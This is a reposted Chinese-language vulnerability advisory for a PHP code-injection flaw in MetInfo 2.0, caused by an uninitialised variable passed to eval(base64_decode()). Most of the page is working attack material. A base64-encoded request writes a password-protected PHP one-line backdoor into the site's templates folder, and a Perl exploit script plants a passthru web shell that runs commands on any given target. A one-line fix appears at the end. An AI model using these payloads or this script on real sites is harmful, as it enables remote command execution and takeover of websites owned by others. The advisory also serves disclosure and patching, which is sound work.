MetInfo 2.0 PHP代码注入漏洞及修复，转自新世纪网安基地

jnhfprc

影响版本:
MetInfo 2.0
漏洞描述:
MetInfo企业网站管理系统是一个功能完善的营销型企业网站管理平台，PHP+MYSQL架构
MetInfo 2.0的/include/common.inc.php文件第132行：
eval(base64_decode($class2_all_1[0]));
$class2_all_1[0]变量未初始化，因此我们可以控制其值，进行代码注入的利用。
<*参考
www.linux520.com
*>

测试
http://victim.com/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/
cGhwIGV2YWwoJF9QT1NUW2NdKTs/PicpOw==
base64编码部分为：fputs(fopen('../templates/test.php','w+'),'<?php eval($_POST[c]);?>');
一句话后门地址：http://victim.com/templates/test.php 密码 c
====
#!/usr/bin/env perl

use LWP::UserAgent;
print "################################################################\n";
print "#              MetInfo 2.0 c0de inj3cti0n 3xplo!t              #\n";
print "#                         by:linux520.com                      #\n";
print "################################################################\n";

die "Usage: $0 <target site> Ex:$0 victim.com\n" unless($ARGV[0]);
my $victim = $ARGV[0];
$user_agent = new LWP::UserAgent;
$vul_request = new HTTP::Request('GET',"http://$victim/include/common.inc.php?$class2_all_1[0]=ZnB1dHMoZm9wZW4oJy4uL3RlbXBsYXRlcy90ZXN0LnBocCcsJ3crJyksJzw/
cGhwIHBhc3N0aHJ1KCRfR0VUW2NtZF0pPz4nKTs=");
# fputs(fopen('../templates/test.php','w+'),'<?php passthru($_GET[cmd]);?>');
$user_agent->request($vul_request);
$response = $user_agent->request(new HTTP::Request('GET',"http://$victim/templates/test.php"));
if($response->is_success)
{
    print "code injection successful ! plz look at http://$victim/templates/test.php?cmd=id";
}
else
{
print "could not connect to $victim";
}
#############################################
临时解决方案：
对$class2_all_1[0]变量进行初始化

三川宏过滤机

已经看过啦。。。。。。